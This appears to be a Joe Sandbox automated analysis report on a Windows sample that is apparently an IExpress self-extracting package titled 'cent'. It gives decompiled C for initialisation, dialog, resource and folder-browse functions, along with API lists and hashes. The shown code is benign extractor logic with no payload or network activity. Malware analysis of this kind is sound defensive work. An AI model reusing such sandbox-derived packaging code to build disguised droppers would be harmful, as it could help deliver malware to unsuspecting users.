				_v16.dwLowDateTime = _v16.dwLowDateTime & 0x00000000;
				_v16.dwHighDateTime = _v16.dwHighDateTime & 0x00000000;
				_t23 =  *0xa48004; // 0x173b1603
				if(_t23 == 0xbb40e64e || (0xffff0000 & _t23) == 0) {
					GetSystemTimeAsFileTime( &_v16);
					_v8 = _v16.dwHighDateTime ^ _v16.dwLowDateTime;
					_v8 = _v8 ^ GetCurrentProcessId();
					_v8 = _v8 ^ GetCurrentThreadId();
					_v8 = GetTickCount() ^ _v8 ^  &_v8;
					QueryPerformanceCounter( &_v24);
					_t36 = _v20 ^ _v24.LowPart ^ _v8;
					_t39 = _t36;
					if(_t36 == 0xbb40e64e || ( *0xa48004 & 0xffff0000) == 0) {
						_t36 = 0xbb40e64f;
						_t39 = 0xbb40e64f;
					}
					 *0xa48004 = _t39;
				}
				_t37 =  !_t36;
				 *0xa48008 = _t37;
				return _t37;
			}

0x00a4715d
0x00a47161
0x00a47165
0x00a47178
0x00a47182
0x00a4718e
0x00a47197
0x00a471a0
0x00a471b1
0x00a471b8
0x00a471c4
0x00a471c7
0x00a471cb
0x00a471d5
0x00a471da
0x00a471da
0x00a471dc
0x00a471dc
0x00a471e2
0x00a471e5
0x00a471ee

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00A47182
GetCurrentProcessId.KERNEL32 ref: 00A47191
GetCurrentThreadId.KERNEL32 ref: 00A4719A
GetTickCount.KERNEL32 ref: 00A471A3
QueryPerformanceCounter.KERNEL32(?), ref: 00A471B8

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 60df8fa0295388a449c5a16faab1b4140bdb1af21541a85ec44f175e3e63eea1
Instruction ID: 57069cc6e8d3f4e309482a7e33f542f664641190e6cea35ad75969819e7eff36
Opcode Fuzzy Hash: 60df8fa0295388a449c5a16faab1b4140bdb1af21541a85ec44f175e3e63eea1
Instruction Fuzzy Hash: DF114C7DD11208DFCB10DFF8EA48A9EB7F4EF9A310F614A55D806E7210EB359A058B41

Uniqueness

Uniqueness Score: -1.00%

Function 00A46CF0 Relevance: 6.0, APIs: 4, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A46CF0(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				UnhandledExceptionFilter(_a4);
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00a46cf7
0x00a46d00
0x00a46d19

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00A46E26,00A41000), ref: 00A46CF7
UnhandledExceptionFilter.KERNEL32(00A46E26,?,00A46E26,00A41000), ref: 00A46D00
GetCurrentProcess.KERNEL32(C0000409,?,00A46E26,00A41000), ref: 00A46D0B
TerminateProcess.KERNEL32(00000000,?,00A46E26,00A41000), ref: 00A46D12

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 8727498b77b3d2ebcecf652579a946cdc52304ed27fbb009fd46fc69e58f8931
Instruction ID: 89ba821ebabef6af494612e76d398dc86de0989d5337bb602e117b98629af98d
Opcode Fuzzy Hash: 8727498b77b3d2ebcecf652579a946cdc52304ed27fbb009fd46fc69e58f8931
Instruction Fuzzy Hash: 0BD0C93E080108BBEB006BE9EC0CA593F28EBDA212F444104F31982020CA334452CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00A43210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188
windowCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00A43210(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* __edi;
				void* _t6;
				void* _t10;
				int _t20;
				int _t21;
				int _t23;
				char _t24;
				long _t25;
				int _t27;
				int _t30;
				void* _t32;
				int _t33;
				int _t34;
				int _t37;
				int _t38;
				int _t39;
				void* _t42;
				void* _t46;
				CHAR* _t49;
				void* _t58;
				void* _t63;
				struct HWND__* _t64;

				_t64 = _a4;
				_t6 = _a8 - 0x10;
				if(_t6 == 0) {
					_push(0);
					L38:
					EndDialog(_t64, ??);
					L39:
					__eflags = 1;
					return 1;
				}
				_t42 = 1;
				_t10 = _t6 - 0x100;
				if(_t10 == 0) {
					E00A443D0(_t64, GetDesktopWindow());
					SetWindowTextA(_t64, "cent");
					SendDlgItemMessageA(_t64, 0x835, 0xc5, 0x103, 0);
					__eflags =  *0xa49a40 - _t42; // 0x3
					if(__eflags == 0) {
						EnableWindow(GetDlgItem(_t64, 0x836), 0);
					}
					L36:
					return _t42;
				}
				if(_t10 == _t42) {
					_t20 = _a12 - 1;
					__eflags = _t20;
					if(_t20 == 0) {
						_t21 = GetDlgItemTextA(_t64, 0x835, 0xa491e4, 0x104);
						__eflags = _t21;
						if(_t21 == 0) {
							L32:
							_t58 = 0x4bf;
							_push(0);
							_push(0x10);
							_push(0);
							_push(0);
							L25:
							E00A444B9(_t64, _t58);
							goto L39;
						}
						_t49 = 0xa491e4;
						do {
							_t23 =  *_t49;
							_t49 =  &(_t49[1]);
							__eflags = _t23;
						} while (_t23 != 0);
						__eflags = _t49 - 0xa491e5 - 3;
						if(_t49 - 0xa491e5 < 3) {
							goto L32;
						}
						_t24 =  *0xa491e5; // 0x3a
						__eflags = _t24 - 0x3a;
						if(_t24 == 0x3a) {
							L21:
							_t25 = GetFileAttributesA(0xa491e4);
							__eflags = _t25 - 0xffffffff;
							if(_t25 != 0xffffffff) {
								L26:
								E00A4658A(0xa491e4, 0x104, 0xa41140);
								_t27 = E00A458C8(0xa491e4);
								__eflags = _t27;
								if(_t27 != 0) {
									__eflags =  *0xa491e4 - 0x5c;
									if( *0xa491e4 != 0x5c) {
										L30:
										_t30 = E00A4597D(0xa491e4, 1, _t64, 1);
										__eflags = _t30;
										if(_t30 == 0) {
											L35:
											_t42 = 1;
											__eflags = 1;
											goto L36;
										}
										L31:
										_t42 = 1;
										EndDialog(_t64, 1);
										goto L36;
									}
									__eflags =  *0xa491e5 - 0x5c;
									if( *0xa491e5 == 0x5c) {
										goto L31;
									}
									goto L30;
								}
								_push(0);
								_push(0x10);
								_push(0);
								_push(0);
								_t58 = 0x4be;
								goto L25;
							}
							_t32 = E00A444B9(_t64, 0x54a, 0xa491e4, 0, 0x20, 4);
							__eflags = _t32 - 6;
							if(_t32 != 6) {
								goto L35;
							}
							_t33 = CreateDirectoryA(0xa491e4, 0);
							__eflags = _t33;
							if(_t33 != 0) {
								goto L26;
							}
							_push(0);
							_push(0x10);
							_push(0);
							_push(0xa491e4);
							_t58 = 0x4cb;
							goto L25;
						}
						__eflags =  *0xa491e4 - 0x5c;
						if( *0xa491e4 != 0x5c) {
							goto L32;
						}
						__eflags = _t24 - 0x5c;
						if(_t24 != 0x5c) {
							goto L32;
						}
						goto L21;
					}
					_t34 = _t20 - 1;
					__eflags = _t34;
					if(_t34 == 0) {
						EndDialog(_t64, 0);
						 *0xa49124 = 0x800704c7;
						goto L39;
					}
					__eflags = _t34 != 0x834;
					if(_t34 != 0x834) {
						goto L36;
					}
					_t37 = LoadStringA( *0xa49a3c, 0x3e8, 0xa48598, 0x200);
					__eflags = _t37;
					if(_t37 != 0) {
						_t38 = E00A44224(_t64, _t46, _t46);
						__eflags = _t38;
						if(_t38 == 0) {
							goto L36;
						}
						_t39 = SetDlgItemTextA(_t64, 0x835, 0xa487a0);
						__eflags = _t39;
						if(_t39 != 0) {
							goto L36;
						}
						_t63 = 0x4c0;
						L9:
						E00A444B9(_t64, _t63, 0, 0, 0x10, 0);
						_push(0);
						goto L38;
					}
					_t63 = 0x4b1;
					goto L9;
				}
				return 0;
			}

0x00a4321b
0x00a4321e
0x00a43221
0x00a4343c
0x00a4343e
0x00a4343f
0x00a43445
0x00a43447
0x00000000
0x00a43447
0x00a43229
0x00a4322a
0x00a4322f
0x00a433ec
0x00a433f7
0x00a43410
0x00a43416
0x00a4341d
0x00a4342d
0x00a4342d
0x00a43438
0x00000000
0x00a43438
0x00a43237
0x00a43243
0x00a43243
0x00a43246
0x00a432ee
0x00a432f4
0x00a432f6
0x00a433d4
0x00a433d6
0x00a433db
0x00a433dc
0x00a433de
0x00a433df
0x00a43370
0x00a43372
0x00000000
0x00a43372
0x00a432fc
0x00a43301
0x00a43301
0x00a43303
0x00a43304
0x00a43304
0x00a4330a
0x00a4330d
0x00000000
0x00000000
0x00a43313
0x00a43318
0x00a4331a
0x00a43331
0x00a43332
0x00a4333a
0x00a4333d
0x00a4337c
0x00a43388
0x00a4338f
0x00a43394
0x00a43396
0x00a433a4
0x00a433ab
0x00a433b6
0x00a433be
0x00a433c3
0x00a433c5
0x00a43435
0x00a43437
0x00a43437
0x00000000
0x00a43437
0x00a433c7
0x00a433c9
0x00a433cc
0x00000000
0x00a433cc
0x00a433ad
0x00a433b4
0x00000000
0x00000000
0x00000000
0x00a433b4
0x00a43398
0x00a43399
0x00a4339b
0x00a4339c
0x00a4339d
0x00000000
0x00a4339d
0x00a4334c
0x00a43351
0x00a43354
0x00000000
0x00000000
0x00a4335c
0x00a43362
0x00a43364
0x00000000
0x00000000
0x00a43366
0x00a43367
0x00a43369
0x00a4336a
0x00a4336b
0x00000000
0x00a4336b
0x00a4331c
0x00a43323
0x00000000
0x00000000
0x00a43329
0x00a4332b
0x00000000
0x00000000
0x00000000
0x00a4332b
0x00a4324c
0x00a4324c
0x00a4324f
0x00a432c8
0x00a432ce
0x00000000
0x00a432ce
0x00a43251
0x00a43256
0x00000000
0x00000000
0x00a43271
0x00a43277
0x00a43279
0x00a43298
0x00a4329d
0x00a4329f
0x00000000
0x00000000
0x00a432b0
0x00a432b6
0x00a432b8
0x00000000
0x00000000
0x00a432be
0x00a43280
0x00a43289
0x00a4328e
0x00000000
0x00a4328e
0x00a4327b
0x00000000
0x00a4327b
0x00000000

APIs

LoadStringA.USER32(000003E8,00A48598,00000200), ref: 00A43271
GetDesktopWindow.USER32 ref: 00A433E2
SetWindowTextA.USER32(?,cent), ref: 00A433F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 00A43410
GetDlgItem.USER32(?,00000836), ref: 00A43426
EnableWindow.USER32(00000000), ref: 00A4342D
EndDialog.USER32(?,00000000), ref: 00A4343F

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A432E2, 00A432E7, 00A43331, 00A43344, 00A4335B, 00A4336A
cent, xrefs: 00A433F1

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$cent
API String ID: 2418873061-3711820486
Opcode ID: c119a9d424ff28732ec8bce52e90d97e474810f1da196f7a5474bd16e060abc6
Instruction ID: 460f59df13bc7e300bbae8fccd2cb17bd1f12956e4c2931eabe4a34789cd5948
Opcode Fuzzy Hash: c119a9d424ff28732ec8bce52e90d97e474810f1da196f7a5474bd16e060abc6
Instruction Fuzzy Hash: 3C514A3E380240B7FF619FB95C4CFBB2958DBE7B56F104128F2069A1D1CBA59E029261

Uniqueness

Uniqueness Score: -1.00%

Function 00A42CAA Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 183
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00A42CAA(struct HINSTANCE__* __ecx, void* __edx, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				void* _t20;
				void* _t23;
				void* _t27;
				struct HRSRC__* _t31;
				intOrPtr _t33;
				void* _t43;
				void* _t48;
				signed int _t65;
				struct HINSTANCE__* _t66;
				signed int _t67;

				_t13 =  *0xa48004; // 0x173b1603
				_v8 = _t13 ^ _t67;
				_t65 = 0;
				_t66 = __ecx;
				_t48 = __edx;
				 *0xa49a3c = __ecx;
				memset(0xa49140, 0, 0x8fc);
				memset(0xa48a20, 0, 0x32c);
				memset(0xa488c0, 0, 0x104);
				 *0xa493ec = 1;
				_t20 = E00A4468F("TITLE", 0xa49154, 0x7f);
				if(_t20 == 0 || _t20 > 0x80) {
					_t64 = 0x4b1;
					goto L32;
				} else {
					_t27 = CreateEventA(0, 1, 1, 0);
					 *0xa4858c = _t27;
					SetEvent(_t27);
					_t64 = 0xa49a34;
					if(E00A4468F("EXTRACTOPT", 0xa49a34, 4) != 0) {
						if(( *0xa49a34 & 0x000000c0) == 0) {
							L12:
							 *0xa49120 =  *0xa49120 & _t65;
							if(E00A45C9E(_t48, _t48, _t65, _t66) != 0) {
								if( *0xa48a3a == 0) {
									_t31 = FindResourceA(_t66, "VERCHECK", 0xa);
									if(_t31 != 0) {
										_t65 = LoadResource(_t66, _t31);
									}
									if( *0xa48184 != 0) {
										__imp__#17();
									}
									if( *0xa48a24 == 0) {
										_t57 = _t65;
										if(E00A436EE(_t65) == 0) {
											goto L33;
										} else {
											_t33 =  *0xa49a40; // 0x3
											_t48 = 1;
											if(_t33 == 1 || _t33 == 2 || _t33 == 3) {
												if(( *0xa49a34 & 0x00000100) == 0 || ( *0xa48a38 & 0x00000001) != 0 || E00A418A3(_t64, _t66) != 0) {
													goto L30;
												} else {
													_t64 = 0x7d6;
													if(E00A46517(_t57, 0x7d6, _t34, E00A419E0, 0x547, 0x83e) != 0x83d) {
														goto L33;
													} else {
														goto L30;
													}
												}
											} else {
												L30:
												_t23 = _t48;
											}
										}
									} else {
										_t23 = 1;
									}
								} else {
									E00A42390(0xa48a3a);
									goto L33;
								}
							} else {
								_t64 = 0x520;
								L32:
								E00A444B9(0, _t64, 0, 0, 0x10, 0);
								goto L33;
							}
						} else {
							_t64 =  &_v268;
							if(E00A4468F("INSTANCECHECK",  &_v268, 0x104) == 0) {
								goto L3;
							} else {
								_t43 = CreateMutexA(0, 1,  &_v268);
								 *0xa48588 = _t43;
								if(_t43 == 0 || GetLastError() != 0xb7) {
									goto L12;
								} else {
									if(( *0xa49a34 & 0x00000080) == 0) {
										_t64 = 0x524;
										if(E00A444B9(0, 0x524, ?str?, 0, 0x20, 4) == 6) {
											goto L12;
										} else {
											goto L11;
										}
									} else {
										_t64 = 0x54b;
										E00A444B9(0, 0x54b, "cent", 0, 0x10, 0);
										L11:
										CloseHandle( *0xa48588);
										 *0xa49124 = 0x800700b7;
										goto L33;
									}
								}
							}
						}
					} else {
						L3:
						_t64 = 0x4b1;
						E00A444B9(0, 0x4b1, 0, 0, 0x10, 0);
						 *0xa49124 = 0x80070714;
						L33:
						_t23 = 0;
					}
				}
				return E00A46CE0(_t23, _t48, _v8 ^ _t67, _t64, _t65, _t66);
			}

0x00a42cb5
0x00a42cbc
0x00a42cc7
0x00a42cc9
0x00a42cd1
0x00a42cd3
0x00a42cd9
0x00a42ce9
0x00a42cf9
0x00a42d0e
0x00a42d15
0x00a42d1c
0x00a42ef3
0x00000000
0x00a42d2d
0x00a42d34
0x00a42d3b
0x00a42d40
0x00a42d48
0x00a42d59
0x00a42d84
0x00a42e1f
0x00a42e1f
0x00a42e2e
0x00a42e41
0x00a42e5a
0x00a42e62
0x00a42e6c
0x00a42e6c
0x00a42e75
0x00a42e77
0x00a42e77
0x00a42e84
0x00a42e8b
0x00a42e94
0x00000000
0x00a42e96
0x00a42e96
0x00a42e9e
0x00a42ea2
0x00a42eba
0x00000000
0x00a42ece
0x00a42ede
0x00a42eed
0x00000000
0x00000000
0x00000000
0x00000000
0x00a42eed
0x00a42eef
0x00a42eef
0x00a42eef
0x00a42eef
0x00a42ea2
0x00a42e86
0x00a42e88
0x00a42e88
0x00a42e43
0x00a42e48
0x00000000
0x00a42e48
0x00a42e30
0x00a42e30
0x00a42ef8
0x00a42f01
0x00000000
0x00a42f01
0x00a42d8a
0x00a42d8f
0x00a42da1
0x00000000
0x00a42da3
0x00a42dae
0x00a42db4
0x00a42dbb
0x00000000
0x00a42dca
0x00a42dd3
0x00a42df5
0x00a42e02
0x00000000
0x00000000
0x00000000
0x00000000
0x00a42dd5
0x00a42dde
0x00a42de3
0x00a42e04
0x00a42e0a
0x00a42e10
0x00000000
0x00a42e10
0x00a42dd3
0x00a42dbb
0x00a42da1
0x00a42d5b
0x00a42d5b
0x00a42d5d
0x00a42d69
0x00a42d6e
0x00a42f06
0x00a42f06
0x00a42f06
0x00a42d59
0x00a42f18

APIs

memset.MSVCRT ref: 00A42CD9
memset.MSVCRT ref: 00A42CE9
memset.MSVCRT ref: 00A42CF9

Part of subcall function 00A4468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A446A0
Part of subcall function 00A4468F: SizeofResource.KERNEL32(00000000,00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446A9
Part of subcall function 00A4468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A446C3
Part of subcall function 00A4468F: LoadResource.KERNEL32(00000000,00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446CC
Part of subcall function 00A4468F: LockResource.KERNEL32(00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446D3
Part of subcall function 00A4468F: memcpy_s.MSVCRT ref: 00A446E5
Part of subcall function 00A4468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A42D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 00A42D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00A42DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 00A42DBD
CloseHandle.KERNEL32(cent,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00A42E0A

Part of subcall function 00A444B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A44518
Part of subcall function 00A444B9: MessageBoxA.USER32(?,?,cent,00010010), ref: 00A44554

Strings

cent, xrefs: 00A42D04, 00A42DD9, 00A42DF0
EXTRACTOPT, xrefs: 00A42D4D
VERCHECK, xrefs: 00A42E54
INSTANCECHECK, xrefs: 00A42D95
TITLE, xrefs: 00A42D09

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$cent
API String ID: 1002816675-2654900392
Opcode ID: edbd9976a6c9244c9434605c35d03faf363d2754bcac15ce0861812a58745605
Instruction ID: 0511f5e3013b04fc1ca590d142ace44fe4b04af75c7b8d4ecbc4e709ab52cedd
Opcode Fuzzy Hash: edbd9976a6c9244c9434605c35d03faf363d2754bcac15ce0861812a58745605
Instruction Fuzzy Hash: DF51D47C740341ABE760EBA49D4BB7B2AA8EBD6740F804139F941D51D1DBF98C92C722

Uniqueness

Uniqueness Score: -1.00%

Function 00A434F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00A434F0(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t9;
				void* _t12;
				void* _t13;
				void* _t17;
				void* _t23;
				void* _t25;
				struct HWND__* _t35;
				struct HWND__* _t38;
				void* _t39;

				_t9 = _a8 - 0x10;
				if(_t9 == 0) {
					__eflags = 1;
					L19:
					_push(0);
					 *0xa491d8 = 1;
					L20:
					_push(_a4);
					L21:
					EndDialog();
					L22:
					return 1;
				}
				_push(1);
				_pop(1);
				_t12 = _t9 - 0xf2;
				if(_t12 == 0) {
					__eflags = _a12 - 0x1b;
					if(_a12 != 0x1b) {
						goto L22;
					}
					goto L19;
				}
				_t13 = _t12 - 0xe;
				if(_t13 == 0) {
					_t35 = _a4;
					 *0xa48584 = _t35;
					E00A443D0(_t35, GetDesktopWindow());
					__eflags =  *0xa48184; // 0x1
					if(__eflags != 0) {
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x464, 0, 0xbb9);
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x465, 0xffffffff, 0xffff0000);
					}
					SetWindowTextA(_t35, "cent");
					_t17 = CreateThread(0, 0, E00A44FE0, 0, 0, 0xa48798);
					 *0xa4879c = _t17;
					__eflags = _t17;
					if(_t17 != 0) {
						goto L22;
					} else {
						E00A444B9(_t35, 0x4b8, 0, 0, 0x10, 0);
						_push(0);
						_push(_t35);
						goto L21;
					}
				}
				_t23 = _t13 - 1;
				if(_t23 == 0) {
					__eflags = _a12 - 2;
					if(_a12 != 2) {
						goto L22;
					}
					ResetEvent( *0xa4858c);
					_t38 =  *0xa48584; // 0x0
					_t25 = E00A444B9(_t38, 0x4b2, 0xa41140, 0, 0x20, 4);
					__eflags = _t25 - 6;
					if(_t25 == 6) {
						L11:
						 *0xa491d8 = 1;
						SetEvent( *0xa4858c);
						_t39 =  *0xa4879c; // 0x0
						E00A43680(_t39);
						_push(0);
						goto L20;
					}
					__eflags = _t25 - 1;
					if(_t25 == 1) {
						goto L11;
					}
					SetEvent( *0xa4858c);
					goto L22;
				}
				if(_t23 == 0xe90) {
					TerminateThread( *0xa4879c, 0);
					EndDialog(_a4, _a12);
					return 1;
				}
				return 0;
			}

0x00a434fb
0x00a434fe
0x00a43665
0x00a43666
0x00a43666
0x00a43668
0x00a4366e
0x00a4366e
0x00a43671
0x00a43671
0x00a43677
0x00000000
0x00a43677
0x00a43504
0x00a43506
0x00a43507
0x00a4350c
0x00a4365b
0x00a4365f
0x00000000
0x00000000
0x00000000
0x00a43661
0x00a43512
0x00a43515
0x00a435be
0x00a435c1
0x00a435d1
0x00a435d8
0x00a435de
0x00a435f8
0x00a43617
0x00a43617
0x00a43623
0x00a43637
0x00a4363d
0x00a43642
0x00a43644
0x00000000
0x00a43646
0x00a43652
0x00a43657
0x00a43658
0x00000000
0x00a43658
0x00a43644
0x00a4351b
0x00a4351d
0x00a4354f
0x00a43553
0x00000000
0x00000000
0x00a4355f
0x00a43565
0x00a4357c
0x00a43581
0x00a43584
0x00a4359b
0x00a435a1
0x00a435a7
0x00a435ad
0x00a435b3
0x00a435b8
0x00000000
0x00a435b8
0x00a43586
0x00a43588
0x00000000
0x00000000
0x00a43590
0x00000000
0x00a43590
0x00a43524
0x00a43535
0x00a43541
0x00000000
0x00a43549
0x00000000

APIs

TerminateThread.KERNEL32(00000000), ref: 00A43535
EndDialog.USER32(?,?), ref: 00A43541
ResetEvent.KERNEL32 ref: 00A4355F
SetEvent.KERNEL32(00A41140,00000000,00000020,00000004), ref: 00A43590
GetDesktopWindow.USER32 ref: 00A435C7
GetDlgItem.USER32(?,0000083B), ref: 00A435F1
SendMessageA.USER32(00000000), ref: 00A435F8
GetDlgItem.USER32(?,0000083B), ref: 00A43610
SendMessageA.USER32(00000000), ref: 00A43617
SetWindowTextA.USER32(?,cent), ref: 00A43623
CreateThread.KERNEL32 ref: 00A43637
EndDialog.USER32(?,00000000), ref: 00A43671

Strings

cent, xrefs: 00A4361D

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: cent
API String ID: 2406144884-3940384054
Opcode ID: 1c5605e96eac45e000f28b202c3b8037a59d93b502a5aa089fe9ac531e547ef1
Instruction ID: 4f7e83a29a0321b9e7984433075f7660c1310d72501e7b711d04368c5a45a680
Opcode Fuzzy Hash: 1c5605e96eac45e000f28b202c3b8037a59d93b502a5aa089fe9ac531e547ef1
Instruction Fuzzy Hash: D831E97E284301BBEB209FA9FC0DE2B7A75E7D6B01F104615F602952B1CB768912DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00A44224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00A44224(char __ecx) {
				char* _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				_Unknown_base(*)()* _v20;
				char* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t32;
				char _t42;
				char* _t44;
				char* _t61;
				void* _t63;
				char* _t65;
				struct HINSTANCE__* _t66;
				char _t67;
				void* _t71;
				char _t76;
				intOrPtr _t85;

				_t67 = __ecx;
				_t66 = LoadLibraryA("SHELL32.DLL");
				if(_t66 == 0) {
					_t63 = 0x4c2;
					L22:
					E00A444B9(_t67, _t63, 0, 0, 0x10, 0);
					return 0;
				}
				_t26 = GetProcAddress(_t66, "SHBrowseForFolder");
				_v12 = _t26;
				if(_t26 == 0) {
					L20:
					FreeLibrary(_t66);
					_t63 = 0x4c1;
					goto L22;
				}
				_t28 = GetProcAddress(_t66, 0xc3);
				_v20 = _t28;
				if(_t28 == 0) {
					goto L20;
				}
				_t29 = GetProcAddress(_t66, "SHGetPathFromIDList");
				_v16 = _t29;
				if(_t29 == 0) {
					goto L20;
				}
				_t76 =  *0xa488c0; // 0x0
				if(_t76 != 0) {
					L10:
					 *0xa487a0 = 0;
					_v52 = _t67;
					_v48 = 0;
					_v44 = 0;
					_v40 = 0xa48598;
					_v36 = 1;
					_v32 = E00A44200;
					_v28 = 0xa488c0;
					 *0xa4a288( &_v52);
					_t32 =  *_v12();
					if(_t71 != _t71) {
						asm("int 0x29");
					}
					_v12 = _t32;
					if(_t32 != 0) {
						 *0xa4a288(_t32, 0xa488c0);
						 *_v16();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
						if( *0xa488c0 != 0) {
							E00A41680(0xa487a0, 0x104, 0xa488c0);
						}
						 *0xa4a288(_v12);
						 *_v20();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
					}
					FreeLibrary(_t66);
					_t85 =  *0xa487a0; // 0x0
					return 0 | _t85 != 0x00000000;
				} else {
					GetTempPathA(0x104, 0xa488c0);
					_t61 = 0xa488c0;
					_t4 =  &(_t61[1]); // 0xa488c1
					_t65 = _t4;
					do {
						_t42 =  *_t61;
						_t61 =  &(_t61[1]);
					} while (_t42 != 0);
					_t5 = _t61 - _t65 + 0xa488c0; // 0x1491181
					_t44 = CharPrevA(0xa488c0, _t5);
					_v8 = _t44;
					if( *_t44 == 0x5c &&  *(CharPrevA(0xa488c0, _t44)) != 0x3a) {
						 *_v8 = 0;
					}
					goto L10;
				}
			}

0x00a44234
0x00a4423c
